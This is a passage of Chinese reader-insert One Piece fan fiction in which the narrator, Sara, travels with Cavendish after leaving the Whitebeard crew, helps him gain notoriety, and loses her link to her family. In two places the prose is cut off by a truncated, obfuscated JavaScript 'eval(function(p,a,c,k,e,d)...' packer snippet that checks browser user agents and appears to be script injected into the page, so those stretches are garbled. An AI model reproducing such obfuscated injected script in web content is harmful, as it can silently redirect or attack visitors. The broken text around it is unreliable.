可他不想看,他知道你想和他说什么,知道你想在信里和他说分手。在此之前,你已经和他说了两次,聪明如你又怎么不知道和他说第三次分手也是一样的结果? 所以他把那封信完好无损的收起来了。只要他不打开,没看到里面的内容,你单方面的分手就不成立。 至于你的下落,老爹或马尔科肯定有,但不会给他,现阶段的他也不想去找你,因为你和他都需要时间来安抚那晚的阴影。 只是他做不到像你一样放手,所以你先一步推开了他,就和刚交往时,被他占有欲逼到窒息的那段时间一样。 伴随着一声叹息,以藏像无数个夜晚一样轻唤着你的名字,只是长呼出的浊气里是对你们关系的无奈。但他知道,你会回来的,因为不管你走多远,只有白胡子海贼团才是你的归宿。 “早点回来吧。” 如果你让等太久,久到要让他去找你,结果就不一样了。 12. 想要出名 卡文迪许,二十三岁,一个因为长相过于貌美而被国家流放的王子,现在正准备乘上他的船离开这个国家。 然后卡文迪许发现他对开船这件事一窍不通。作为王子,他自然是有随从的。但随从只会让他自由的海贼生活束手束脚,所以卡文迪许是一个人出行。 也是这样,正想劫持同行海贼船的你盯上了停在岸边的卡文迪许的船。见到你的卡文迪许,先是怀疑了一下自己的魅力大到船停在岸都能吸引到女性,再来则是劝说你下船,别跟着他。 很不巧,你和卡文迪许的思路在让对方下船这点上出奇一致。 “载我一程吧,不然我只能让你下船了。” 饶是卡文迪许再迟顿,也知道你不是因为他的魅力而上船的了。 “虽然不想对女士刀剑相向,但遇到这种情况,还是有必要展示一下自己的实力的。” 结果剑还没出鞘,对白团以外的人毫不留情的你用铁链把卡文迪许捆住。眨眼的功夫,卡文迪许就被你绑在了他的船长座上。 卡文迪许不是没想过会在新世界里遇到难缠的对手,但还没出发就被缠住,他是真的没想过。结果你把他绑住后就开始捣鼓他的船,仿佛你才是这艘船的主人一样。 见状,卡文迪许急忙出声提醒你谁才是这艘船的主人:“喂!你别乱动我的船!这船要是弄坏了就出不了海了!” 面对卡文迪许的担忧,你回头朝他竖起拇指。 “别担心,我会开。总之先开船去下一个岛好了。” 虽然你在白团上没有职务,但你什么都做过,也和船上的人取过经。可炸毛的卡文迪许听不进去了,他现在只想自己掌舵。 “问题不是这个!我的船当然要由我开才对啊!” 你头都不回地点头,专注于眼前的视角。看到船离岸越来越远时,卡文迪许才想起一件重要的事——他不会开船。而现在船开了,还在匀速前进。 这说明你可以是卡文迪许在新世界闯荡的伙伴。想到这,自认为心胸广阔的卡文迪许可以看在你会开船的份上,暂时原谅你上船时的土匪发言和失礼的行为。 “咳、你现在给我松绑,我也是能让你成为我的船员的。” 设置好航行方向的你走到卡文迪许的船长座,替他解开铁链,顺带拒绝他的邀请。 “松绑没事,船员就算了,我只是蹭船的。” 刚活动完身体的卡文迪许不敢相信他的耳朵:“什么?你竟然拒绝我的邀请?难道是我没有魅力了吗?!不可能!没有人能拒绝本少爷的魅力!” 你看着卡文迪许从怀疑到肯定自己,再到肯定你的审美的态度转变,你觉得他很有趣。果然,在岸边选最豪华的船劫持、不是,蹭船是没错的。 在你为自己的选择欣慰时,卡文迪许想起了一件重要的事,那就是他还不知道你的名字。 “你叫什么名字?” “我叫萨拉,不出意外的话我应该会和你同行一段时间。” “萨拉吗?不错的名字,但你怎么这么肯定你只会和我同行一段时间?虽然一开始我也没有让你上船的打算就是了。” 说到后半句,卡文迪许发出不怎么高兴地哼声,不用想都知道他正因你上船时对他做的事而生气。 按理说你应该对眼前这位暂时的伙伴好言相劝,但卡文迪许给你的印象,让你起了捉弄他的心思。 “嗯...因为你不是黑发?” 不出意外,闻言的卡文迪许大喊着“不可能”,然后和你说起他这头金色长发的魅力点,并试图让你收回刚才说过的话。你一言不发地看着卡文迪许,后者见你真的无法理解他的魅力,竟坐在地上怀疑人生了。 “竟然是因为发色...” 第一次见到情绪波动这么明显的人,这让你有些后悔捉弄卡文迪许了。 “其实你的金发很好看,真的!” 闻言的卡文迪许头微扬:“真的?” 你见卡文迪许有恢复精神的迹象,顺着这个话题继续夸他。 “真的!不管是色泽还是顺滑的程度,都是世界一级的。” 在你的努力下,卡文迪许撩起他肩上的长发,十分自豪地向你展示他的金发。 “我就知道,本少爷的魅力可是海上数一数二的!” 体验过卡文迪许丰富的情绪变化的你十分配合地夸赞他。夸多几句就能减少麻烦,又何乐而不为呢? - 接受你在船上且不愿下船的现实后,动真格的卡文迪许也在你连着用几种能力的单方面殴打下败下阵来。 卡文迪许:“喂!萨拉你这家伙、为什么又把我绑起来?!” 经卡文迪许提醒,你才意识到自己又把输了的卡文迪许捆绑伺候了。你边向他道歉,边替他松绑。 “算了,这样晚上你也安全点。” 面对卡文迪许不和你计较的话,你满头问号。然后到了晚上,即将入梦的你被吵醒了。准确的是,被和白天截然不同的卡文迪许吓醒了。 不止长相不同,用剑的方式也不一样,毫无防备的你差点就死在他的剑下了,但最后还是你险胜,并用铁链把他锁起来了。 夜晚的卡文迪许和白天的反应是一样的,正对着你说各种狠话。 “你等着!等我松开了第一个就杀了你!” “我要见血!我要你血流成河!” 鉴于他说的话和白天讲究华丽优雅的卡文迪许反差太大,一瞬间怀疑眼前的人是冒牌货的你决定对他下狠手。看着还在说狠话的卡文迪许,你的右手被武装色霸气缠绕。 对不起了,卡文迪许。默默和卡文迪许道歉后,你下手的力度和速度没有一丝丝犹豫,全是真情实感,直到眼前的卡文迪许变回你熟悉的那个卡文迪许后,你安心了。 “不是冒牌货就好。” 被你扇醒的卡文迪许一头雾水,并觉得脸很疼。 “什么冒牌货?等等,为什么你又把我绑起来了?为什么我的脸这么痛!?” 自上船后就没对卡文迪许怀有歉意的你,在看到他被扇肿的脸后,第一次觉得对不起卡文迪许。所以,你用上了白天安抚卡文迪许的语气和他对话。 “没事的,睡醒就不痛了。” 难得见你温柔待自己的卡文迪许愣了下,随后意识到了什么,更加大声地控诉你有意隐瞒他实情的行为。 “不对!如果是睡醒就能解决的问题你绝对不是这个态度!给我回来、萨拉你这个混蛋!” 任由卡文迪许叫唤,你还是头都不回地走到了你睡觉的房间。至于卡文迪许的脸,明天你再想办法解决吧。 总的来说,你和卡文迪许的相处应该算是和睦的? - 能在海上进行的活动不多,除了卡文迪许从他国家带出来的书和西洋棋,就没有别的娱乐了。啊,还有卡文迪许每天都会买报纸,试图从报纸上找到有关他的新闻。 今天也是卡文迪许用放大镜从报纸上找他报道的一天。你在观察着风向和指针方向。没过多久,你就听到卡文迪许摔报纸的声音。 一,二,三—— 默念到第三个数时,气呼呼的卡文迪许走进船舱,给自己倒上一杯红茶猛喝一大口,开始了他的日常活动。 “气死本少爷了!竟然不报道我!” “毕竟还没到岛上。等到岛上后,应该就有你的报道了吧。” 你记不清这是第几次和卡文迪许这么说话了,不过卡文迪许很受用,一句话就安抚好了。这不,刚才还因报纸没有他而气愤,现在又喜形于色。 “那可不,我可是卡文迪许,新世界的未来之星!” “没错——新世界的未来之星,麻烦你做一下今天中午的午餐。” 经你提醒,卡文迪许才意识到现在接近午餐的时间了。十分不情愿地往厨房走去:“可恶...今天又轮到我做午餐了...” 听到卡文迪许逐渐远去的脚步声,你想起了今天已经喂过法鲁鲁的事。 “啊对了,我给法鲁鲁喂过了,你可别再喂了。” 你朝着卡文迪许离去的方向喊道,后者回了句“知道了”后走进厨房,开始做两人份的午餐。 听着厨房传来的锅碗瓢盆的响声,还有卡文迪许不时烦躁的叫声,你已经能想象到卡文迪许和食材做斗争时的画面了。 所以说,明明这么讨厌做饭,为什么卡文迪许出海时不带个厨师呢?要是有厨师,不就不用你和他轮流做饭了? 你不好说,只能想办法解决麻烦。没过多久,你听到厨房传来卡文迪许第二人格的笑声。显然,这是卡文迪许不愿做饭让哈库巴占据意识做饭了。 换个角度想,卡文迪许不让其他人上船,大概就是因为哈库巴会在他失去意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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回想起你和卡文迪许来旅馆的路上,你的脑海里闪过了粘贴着悬赏令的公告栏。 “把这座城市贴在公告栏上的悬赏令的人都打一顿送海军基地。” 听上去没什么问题的提议,但仔细听就能听出你的敷衍。你都做好被卡文迪许识破意图,和他斗嘴的心理准备了。 结果卡文迪许没有读出你话语里敷衍他的意图,还高声称赞了你的机智。 “这个主意很不错!就这么做好了!” ...欸?不是,真的不用再考虑一下吗?事实证明,着手准备上门挑起纷争的卡文迪许不打算再考虑的别的出名方式,还跃跃欲试。 看到这样的卡文迪许,你觉得自己搬起石头砸自己的脚了。也不是没想过留卡文迪许一个人杀过去,但和他相处了半个月,你对他还是有点感情的。 至少不能让他因为你的提议出事啊。 认命的你也准备上门挑起纷争的行李,并把不知道什么时候会和老爹联系的电话虫带上。要是这个电话虫不见了,你会难受到想跳海的。 - 你小看卡文迪许想出名的决心了,他真的把公告栏上的悬赏令全撕下来,从悬赏金的数值由大到小杀过去了。 基本没有人能打得过情绪高涨的卡文迪许,不如说他们还在为突然出现把他们当目标的卡文迪许而惊慌失措。 海贼A:“可恶、是海军吗?!” 海贼B:“肯定是可恶的海军!” 海贼C:“为什么海军会杀过来?!” 面对慌乱到把他认出海军的海贼ABC,卡文迪许的额角浮现出愤怒的“井”字,然后是你再熟悉不过的炸毛形态。 “什么海军?我是卡文迪许!新世界海贼里的明日之星!” 然后再起不能的海贼ABC又被卡文迪许一顿乱揍,勉强消气的卡文迪许才出发去下一个目标的据点。 以防到场的人不知道是卡文迪许干的,难得好心的你从包里拿出喷漆,在上面写上“海贼贵公子到此一游”的字样。 喷完字后,你看着自己的杰作满意地点头,才顺着卡文迪许离去的方向出发。 如果这样卡文迪许还不出名,你的名字就倒着写。 13. 电话虫 连着几天,你都跟在卡文迪许身后看他主动踢馆的现场。非必要你绝不出手,因为卡文迪许不允许你有机会抢走他的风头。 本人都这么说了,你再出手就有点不识好歹了。所以你坐在边上等卡文迪许搞定他的目标,再用剩下半瓶喷漆给他打响名气。 眼见前来支援当地海贼的人越来越多,连着几天都在一对多的卡文迪许也有了几分倦意。 想到卡文迪许要求你不能出手的前提,你决定在出手前先询问卡文迪许的意见:“需要帮忙吗?” 不出意外,包围圈中的卡文迪许拒绝了你的提议:“不需要!我一个人就能解决!” 许是心疼主人,由你照看的法鲁鲁焦虑地在原地打转。你伸手摸了摸法鲁鲁保养很好的皮毛,柔声安抚它的情绪。 “别担心,要是他真的扛不住,我会去帮忙的。” 那要是你也打不过呢?当然是带着卡文迪许跑路啊。 “所以我们都打不过时,就靠法鲁鲁带我们逃跑了。” 对于你预设最差的结果这件事,法鲁鲁不太高兴地别过头,但在你伸手时,还是伸脸过来让你摸了。 最后还是卡文迪许全胜,就是他洁白的外套上染上了其他海贼的血。换做以往的卡文迪许,肯定要为喜欢的外套被弄脏而炸毛,累得直喘气的卡文迪许则是没注意到这个。 再次在案发现场留下相同的喷漆字迹后,你和卡文迪许回到了落脚的旅馆。由于这几天卡文迪许白天引起的骚乱,你们回旅馆的路上都没什么行人。 而被卡文迪许撕光悬赏令的公告栏上,此时粘着“重金悬赏海贼贵公子”的公告。 “海贼贵公子?这是在说我?” 还不知道是你给自己起的名字的卡文迪许表示怀疑。在你告诉他这就是在说他后,理应累到无法站起的卡文迪许高兴地从马背上跳下来,在原地转圈,庆祝他的第一战。 “相信不出几日,报纸上的头条就是我海贼贵公子——卡文迪许的天下!” 看来他很喜欢这个名字,喜欢到放在自己的名字前。得出结论的你决定不告诉他,这个外号是你给他起的,若无其事地配合他转圈的节奏鼓掌。 当卡文迪许再次坐上马背时,连着几日没出现的哈库巴登场。他登场的第一件事就是拔剑杀你,被你轻巧地闪过,回以武装色霸气的巴掌后,恼羞成怒的哈库巴冲出去找其他人的麻烦了。 听到不远处传来濒死的叫声后,你默默为失去头条的卡文迪西默哀,顺带收回卡文迪许不出名名字倒着写的话。 不出意外,第二天登上当地头条的是哈库巴,而不是现在把报纸摔在地上猛踩泄愤的卡文迪许。 “可恶!明明是我更引人注目才对!” 习以为常的你在一旁泡茶,直到卡文迪许发泄完他的不满后,给他递上一杯红茶解渴。 接过红茶的卡文迪西一口闷,随后吐出一口浊气:“痛快了,就要这样才能消化情绪。” 你没接上卡文迪许的话题,也给自己倒了杯红茶。在你抿了一口温热的红茶后,卡文迪许想到这几天就跟着他什么都不做的你,问出了在你上船的第一天就该问的问题。 “说起来,你到底是因为什么而出海的?又不想出名,也不要钱,连船都不要。” 这是个好问题。虽然你对老爹说是独自闯荡这片大海,但具体的目标是什么,你还真没想法。要说最符合现阶段你出海的目的,果然还是那个吧。 “为了某个黑发男人。” 因为以藏和你随时都能崩溃的关系而离开白团,应该可以这么说吧? 而在你说出答案前,已经为你想过各种各样目的的卡文迪许发出不敢置信的叫声。 “你...你竟然是因为一个男人出海的?不敢置信,竟然有女性见到我还能不改变心意!” 见卡文迪许又开始怀自己的魅力,你换了个说辞。 “毕竟在遇到你之前,我就已经遇到属于我的梦中情人了。” 卡文迪许沉默了,打量你的目光里是对你是否是真人的怀疑。 “…你真的是萨拉吗?” “你说呢。” 你把被武装色霸气缠绕的右手展现给卡文迪许看,后者露出一副欲言又止的表情,然后别过头“切”了一声。 “我还以为你不会有什么情感波动,原来你也是个正常人。” 这话你越听越怪,但勉强当作是卡文迪许夸你吧:“我就当你夸我情绪稳定了。” 闻言的卡文迪许面露难色:“不,你这种程度可以说没有情绪了。” 不等你接上话题,卡文迪许开始了他的日常自恋状态。 “果然,我还是很有魅力的,只是你没有欣赏的眼光而已!” 看着卡文迪许凭空变出玫瑰花,在梳妆镜前研究被采访时该摆什么姿势,习以为常的你别开视线,让他自由发挥。 - 由于卡文迪许和哈库巴在这座岛上大闹一场,你们启程的时间提前了。不过在启航前,卡文迪许正拿着自己的悬赏令沾沾自喜。 “虽然金额才五千万,但是本少爷的照片拍的很好,勉强原谅他们了。” 在甲板清点购买的物资的你头也不抬地敷衍卡文迪许,后者还举着悬赏令转圈。在你们正式出发前,岛上被卡文迪许剿灭的海贼余党蹦出来了,陆陆续续跳上船嚷嚷着要卡文迪许的命。 对于这种攻打到大本营的行为,你和卡文迪许联手把这些想趁机毁坏船的同行纷纷搞定,其中也有能力者,被看穿的你毫不留情地推下海。 直到海贼余党再起不能时,你们准备开船了。然后,你发现自己随身携带的挎包不见了。 包里没什么值钱的东西,但唯一能和老爹联系的电话虫在里面,这让你无法保持冷静。 “卡文迪许,你有看到我的包吗?” 还在为自己的船被外来者大闹一场而郁闷的卡文迪许不解地回头。 “你的包不是挂在栏杆上吗?” 你和卡文迪许同时看向栏杆,发现那里空无一物后,意识到包有可能在你们打斗时掉进海里了,你的身体比意识更快一步跳进海里。 比起自己是能力者不能下海的事,能和老爹他们联系的电话虫和生命卡比你的命重要。 而慢了半拍的卡文迪许猛然回神:“你一个能力者发什么疯?!” 可你没有停下,还在海上扑腾着,试图用意志去克服果实能力者的弱点。紧接着,卡文迪许也跳下来了,把溺水的你捞上来后,难得用训斥的语气和你说话。 “有什么东西重要到连命都不要了?!你要是再跳下去,我绝对不会救你!” 勉强缓过气的你注视着平静的海面,试图透过蔚蓝的海水看到包下落的方向。眼睛找不到,就只能再次去海里找。于是,你在自己的喘气声和卡文迪许的骂声中再次跳进海里。 卡文迪许被你一个不留神就再跳海里的行为气得牙痒痒。所以他忘了自己在前一秒说过的话,跟着你再次跳进海里,把你捞上甲板。 有了第二次的经验,卡文迪许把你按在原地,平日被他保养得很好的金发失去了光彩夺目的色泽。而那双宝石蓝的眼睛却格外明亮,里面是不加掩饰的怒火。 “不就是包吗?我给你找!你在船上等着!” 说完,卡文迪许把被海水弄湿的帽子和上衣随手放在甲板上,再次跳进海里。只是这次他的目标明确,是掉在更深处的包。 你看着因卡文迪许下潜恢复平静的海面,又因卡文迪许浮起换气泛起涟漪。每换一次气,卡文迪许的金发就越凌乱,他的表情也越发烦躁。 “该死,究竟在哪...一个包哪能掉这么深?” 听着卡文迪许不甘的声音,因突发事件愣在原地的你,无法言明的情绪和被卡文迪许下潜的动作泛起涟漪的海面一样,有了明显的起伏。 你找不到回莫比迪克号的生命卡了,也找不到和老爹联系的电话虫了,更无法知道以藏在哪了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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意识到什么的卡文迪许语气降了一个调。 “等等,那些东西不会是那个男人的吧?” “有些是,但不完全是。” 得到回复的卡文迪许气得发抖,他应该是想骂你,但即将说出口的话又在看到你的脸时硬生生咽回去。向来心直口快的人变成这样,这让你很好奇卡文迪许在想什么。 可卡文迪许还是憋住了,“切”了一声后转身走向甲板,留下状态之外的你在原地。 “卡文迪许?” 怒气冲冲的背影又走了几步,才回你的话:“我去喂法鲁鲁!” 根据你这段时间和卡文迪许的相处,你猜测他是误会了什么。不过过了半小时,发泄完情绪的卡文迪许又回到室内,猛喝一杯红茶解渴。于是,电话虫事件就这么结束了。 直到你们到达下一个岛时,气势汹汹的卡文迪许非让你留在房间,拿他没办法的你便留在房间等他回来。再到后来,外出的卡文迪许给你带了一个电话虫,是按照他的长相做的电话虫。 “喏,这个给你。怎么看都是我这个电话虫更好看。” 这么说的卡文迪许,语气里少了平时里的自信。他别过头,没敢看你的反应,就这么把电话虫递到你面前,等你收下。 你收下了,在卡文迪许松了口气的呼吸声中笑了。 “谢谢你,卡文迪许。” 然后那个逢夸必应的卡文迪许,红着脸说着底气不足的“算你识相”,就走回自己的房间了。 卡文迪许离开你的房间后,你拿着他给你的电话虫打量了一圈,在确认无法从上面看到卡文迪许的反应时,把它放进了卡文迪许给你买的包里。 你在新世界之行失去了和老爹他们联系的方式,取而代之的是卡文迪许的电话虫。 这是福还是祸呢?只有继续航行,你才知道结局。 14. 意外 连着在新世界两个岛上兴风作浪,卡文迪许如愿以偿打响了他的名气。不过,比起他本人,哈库巴的名气要更大点。 即使如此,看到自己的事迹在报纸上出现时,卡文迪许原谅了哈库巴名气更甚的事。赶在卡文迪许把有他报道的那页剪下来前,你拿起报纸在上面浏览自己需要的信息。 上面没有报道白团的事迹,倒是艾斯出海大闹一场的事被写了上去。看着艾斯印在报纸上的笑容,你的嘴角也不禁上扬。 再来就是一些琐碎的事,包括但不限于哪个海域又有新的海贼团,海军又针对海贼做了什么布控。 要说你最在意的是什么,还得是每期都有的海军面对所有海域年满十八有能力的人的招募。也就扫了一眼,找到剪刀的卡文迪许从你手中拿走报纸,剪下了有他事迹的那页。 没有报纸后,你就看着卡文迪许哼着不曾听过的旋律,小心翼翼地剪下和他有关的报道,并将其粘在符合他审美的画框上。 给人泼冷水不是你会做的事,所以你就着这件事,和卡文迪许聊起来:“你看上去很高兴的样子。” 确保粘在画框上的报道不会掉下来,卡文迪许如歌唱家一般说起了他对未来的设想。 “这是当然!虽然现在报纸上只有一小块和我有关的报道,但未来的头条一定会是我!” 你很欣赏卡文迪许对未来的自信,适时给予他掌声,活跃船上的气氛。 - 新世界的海域天气多变。进入第三个岛的海域范围时,你们都换上了厚棉袄。即使如此,你还是觉得冷。相较之下,卡文迪许看上去就暖和的多。 还有件不幸的事,今天是你下厨的日子。根据风向和记录指针的变动,你们最快都要在这片海域花上三天的时间。 三天啊...你看了眼自从降温就马上裂开的手背,上面渗出的血也在零下的温度里快速凝结成点。不出意外的话,你的手会在这三天变得很可怕。 这种体质,都要归功于你上白团的船前那些人对你的奴役。 一年四季你的手脚都在冷水和热水中交替,即使肿了,也需要继续工作,直到它们裂开、愈合又裂开,一直重复到冬季结束,顺着肌肤纹路裂开的伤口才有机会结疤,真正的愈合。 习惯了这种体质后,除了冬天手背会比较可怕,你是不觉得痛的。即使如此,白团的各位一到冬天都不让你干需要碰冷水的活。 直到他们发现不管是冷水还是热水,你的手和脚都会因干燥寒冷的气候裂开渗血,他们直接把你扔回房间,让你在暖冬中度过。 扯远了,习以为常的事不足以让你记在心上,该做的事还是要做。 不过卡文迪许不是这么认为的,特别是在他看到你因为做饭手背上多出的伤口,直接叫停了你准备去洗碗的动作。 “这种事怎么不早说?你就不觉得痛吗?” 面对卡文迪许的询问,你摇头:“已经习惯了。而且就是看着可怕,我又不觉得痛。” 结果你轻描淡写的态度让卡文迪许更生气了。 “什么叫看着可怕?流血了肯定会痛好吧!总之离开这片海域前,我来做饭和洗碗,没这么冷后你再补回来就好。” 你还想挣扎一下,卡文迪许直接把你推出厨房,用行动拒绝你的不愿换班的行为。 见状,你只能作罢。回房间的路上,你看了眼右手顺着纹路裂开、暗红的伤口,不知道的都会以为这是被割伤的。可你知道,这是过去给你留下的“伤疤”。 “只是看着可怕而已,用不着这么担心啊。” 现在可是未来,过去对你造成的伤害不算什么。 结果卡文迪许真的很在意,为此还给了你几罐护肤的东西。你惊讶于卡文迪许精致的同时,也想着把东西还给他。再怎么说,三天的时间你也用不了这么多啊。 “哈?就是抱着这种心态你的手才会这样好吧!反正我给你了,收回来是不可能的。” 说到这个份上,你也只能收下来用了。 - 不只是海域,这座岛也一年四季都以冬季为主的气候。哪怕马不会冬眠,你们也给法鲁鲁做好了保暖措施,自身也做好了御寒的准备。 你是觉得这么冷的地方应该没什么贼了,结果你们刚上岛,就遇到拦路打劫的山贼。至今为止都在适宜的温度中战斗的卡文迪许,出招的威力也因温度的变化有所减弱。 这个时候,艾斯的能力就好用了。向来都靠武装色霸气的你,第一次用上艾斯的能力。由于没控制好范围,你们这片的雪都被火所融化。 毫无心理负担地把山贼的财宝拿走后,卡文迪许开始为刚才需要你出手才能解决纷争的事懊恼。 “可恶、我竟然会因为温度出手慢了...” “别在意,我们可以在岛上锻炼到不受影响的程度。” 安慰卡文迪许的时间里,使用艾斯能力的副作用上来了。哪怕现在是零下的温度,你也被身体里骤升的热度吓了一跳。要不卡文迪许提醒,你就把身上的棉袄脱掉了。 按理说,副作用只会持续几分钟,但你和卡文迪许走了一段路,你感觉身上的热度还没降下去。是错觉吗? “萨拉,你有哪里不舒服吗?” 卡文迪许的话让你不解,发热的脑袋更是让你的思绪慢了半拍,才接上卡文迪许的话。 “...什么?” 呼出的热气模糊了你的视野,直到温热的掌心抚上你的额头,卡文迪许炸毛了:“你发烧都没感觉吗?!” “不是用完能力后的副作用吗...?” 大概是觉得和你说不通,也可能是不想把时间浪费在和你斗嘴上,卡文迪许把你拉上马背,骑着法鲁鲁直奔岛上的诊所。 事实证明你确实发烧了,温度还高到诊所医生都怕你在诊所出事的程度。秉承多一事不如少一事的原则,医生劝说卡文迪许带你换个地方看。 向来不怎么和普通人争吵的卡文迪许第一次和人起了争执:“哈?!你这个庸医、明知道她烧成这样你还让我带她换个地方看?外面多冷你不知道吗!” “今天是不管你看还是不看,你都必须给我看!” 趴在马背上的你听到了卡文迪许剑出鞘的声音,然后是医生和护士的尖叫声。这不符合卡文迪许的人设,至少你认识的卡文迪许不会对普通人出手。 你想起来阻止卡文迪许继续引起纷争的行为,但使不上力的身体让你有心无力,只能竭尽全力地 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基本是你刚醒,闭目养神的卡文迪许就睁开眼,从床头柜面拿体温计给你测体温。 “你说,哈库巴会趁我动不了时偷袭我吗?” 放好体温计的卡文迪许被你逗笑了:“你动不了不还有武装色霸气,用上那个哈库巴哪里会偷袭你啊。” 卡文迪许会主动开这个玩笑是你都觉得意外的程度,但你们都被这个玩笑逗笑了。确认你的温度退了一些,卡文迪许又让你吃了一次药,期间旅馆老板给你们送了一次晚餐。 再次入睡时,你被耳边剑出鞘的声音惊醒。是哈库巴,他正打量着你,估计是在想从哪里下手。 虽然你的状态比来之前好很多,但和哈库巴对打的力气还是没有的,他想对你动手,你是绝对换不了手的。 “要杀就快点,不要刺我几刀还杀不死我。” 在你无力的催促声中,哈库巴把剑收回鞘,转身就走,离开前你还听到他说他对你的血没兴趣。 想起之前还没被你打出阴影前,哈库巴每次出现都嚷嚷着要你血流成河的。 你的身体状态恢复到正常水平时,也到你们启航的时间了。就一晚的时间,哈库巴在这座岛上创下了新的记录。 奇怪的是,这次哈库巴放过了你和旅馆老板。据你所知,哈库巴可不是挑食的类型。至今为止还是没研究透哈库巴性格的你决定放弃思考,处理你和卡文迪许的午餐。 你开始处理食材时,在甲板上看报纸的卡文迪许兴高采烈地跑进来,拿着他改了数字的悬赏令跑到你勉强分享。 “萨拉你看,我的赏金上涨了!虽然还没破亿,但是这种涨幅很快就能达成我的目标了!” 这么说的卡文迪许拿着悬赏令在厨房转圈,情绪高涨的样子让你想起了在上一个岛和医生对峙时卡文迪许的脸。 果然,还是现在的卡文迪许好点。 “嗯,应该很快就能达成目标了。” 所以,在卡文迪许找到能维持船运行的船员,你就该下船了。再在这待下去,你真的怕自己会舍不得离开。 15. 朋友 在到达第四个岛屿时,卡文迪许在当地找医生。然后真给他找到了,但卡文迪许看到对方有着一头黑发时犹豫了。 看出了卡文迪许在喜恶和技术中犹豫的心,你觉得有点好笑。但卡文迪许会对黑发有抵触感,有你的功劳就是了。 “你不是对他的技术很满意吗?” 被戳破心事的卡文迪许恼羞成怒。 “技、技术好的医生又不止他一个!再看看,反正还没这么快离开!” 说是这样,卡文迪许心情不好会吃玫瑰的习惯还是出现了。由此可见,他是真的很满意那个医生。 你知道,到最后卡文迪许一定会邀请他上船的。事实证明确实如此,卡文迪许还用他的人格魅力收获了一名优雅和厨艺并存的厨师。 不对,说是管家也没问题。这下好了,只有两个人的船变成四个人了,船上也变得热闹起来了,航海时晚上只能找你麻烦的哈库巴,现在又多了两个折腾的目标了。 转眼间,你已经在卡文迪许的船上待了三个月了,记录指针也有了新的方向。从地图和指针的方向可以得知,下一座岛就是新世界的入口——香波地群岛。 这意味着你和卡文迪许从他的国家出发,绕了小半圈回到了新世界的起点。对此,卡文迪许和刚上船的医生和厨师都很高兴,这对他们来说是新的开始。 而你在和他们举杯庆祝时,决定在香波地群岛下船。作为这艘船的外来者,你没有理由再在这赖下去。 所以,你在卡文迪许每日翻阅报纸的早上找到了他,和他提了一嘴香波地群岛下船的事。 本以为卡文迪许会和以往一样和你拌嘴,结果卡文迪许一言不发地看了你半晌,然后拿起报纸挡住了他的脸。 “那就下船吧。” 如果不是你看到卡文迪许把报纸拿反了,你都要被卡文迪许的演技骗过去了。在是否告诉卡文迪许他报纸拿反了这件事上,你选择了告诉。 “嗯,你的报纸拿反了。” 话语刚落,卡文迪许举着报纸的手顿了下,随后以极快的速度把报纸拿正。许是觉得这有点掩耳盗铃的意思,卡文迪许把报纸合上放在一旁,宝石蓝的眼睛目不转睛地看着你。 “不打算留下吗?我说真的,我的船上需要一个航海士。” 你想到了自己带着卡文迪许从他的国家开到香波地群岛绕圈的航海路线。 “即使这个航海士让你从新世界中间开到了新世界的入口?” 对于这个,卡文迪许有独特的见解:“这又没什么,本来就是要绕一圈才能算走过新世界吧。” “留下吧,你遇到喜欢的男人我也可以让他上船。” 之前卡文迪许怀疑你是被人冒充的,现在轮到你怀疑卡文迪许是被人冒充的了。 “即使他是黑发?” 提到关键词时,卡文迪许露出了咬牙切齿的表情,十分不情愿的样子。 “...即使他是黑发。” 哪怕是这样,卡文迪许还是答应了。越是这样,你越不能留下来。 “算了吧,还有人等着我回去。” 就是不知道你回到莫比迪克号要多久,又要蹭多少船。而卡文迪许想到了什么,好看的宝石蓝眼里是后知后觉的了然和气愤,更是直接从椅子上站起,两步走到你的面前。 “等等、那个生命卡——” 他还记得生命卡这事让你觉得意外。你想糊弄过去的,但卡文迪许的表情让你知道,如果你再糊弄他,他一定会翻脸。 “嗯,那个生命卡可以指引我回家。” 赶在卡文迪许炸毛前,你顺势说出了当时说服自己的话。 “不过别担心,他们也有我的生命卡,只要我们一方想见对方,就一定会见面的。” 越是轻描淡写的态度,卡文迪许就越生气。和上次不同,这次卡文迪许骂出口了。 “不可理喻!我就没见过你这种人!生命卡又不会被水弄湿,你和我说一声让我找怎么了?!” “别告诉我你不介意,现在这副表情比哭还难看!” 你和卡文迪许斗嘴的频率很高,高到刚上船的医生和厨师都习惯了。即使如此,他们也知道这次卡文迪许是真的生气了。 两人急忙出来劝架,但看到你和卡文迪许截然不同的反应时,又不知道该不该插手你们的事了。 最后卡文迪许拿着报纸回房间了,医生和厨师也在你的劝说下离开,留你在甲板消化刚才的情绪。 卡文迪许是个好人。他会照顾你的情绪,即使你和他连同伴都算不上,也会为你的事动怒。 如果在你的人生中,你上的第一艘船是卡文迪许的船,你一定会留下的。但人生没有如果,你的终点不是这里,起点也不是。 直到船即将靠岸,消化掉情绪的卡文迪许来找你了。 “喏,这个给你。” 你看着卡文迪许递给你的项链,是很符合他风格的宝石项链。和普通的项链不同,正中间的是用玻璃球装着的生命卡,生命卡在玻璃球里指向卡文迪许。 “我是说万一,万一你不知道去哪,就来找我。” 和给你电话虫时一样,卡文迪许没看你,只是一昧地把项链递给你。但又不太一样,在你愣在原地一直没收下时,恼羞成怒的卡文迪许直接把项链戴在你脖子上。 做完这些后,卡文迪许手肘撑在栏杆上,他引以为豪的脸正因不满而鼓起脸颊。 “给你就收下,哪有你这样的。” 你看着卡文迪许的反应,不禁笑出了声。 “我可以把宝石拆下来吗?它太显眼了,我怕有麻烦。” 不出意外,卡文迪许因你的话炸毛了。 “啊?你这个黑发控——宝石都入不了你的眼吗!” “重点是最后半句,就是太亮眼会有麻烦啊。” 十分清楚你实力的卡文迪许有不同的意见:“会遇到麻烦的是找你麻烦的人吧!” 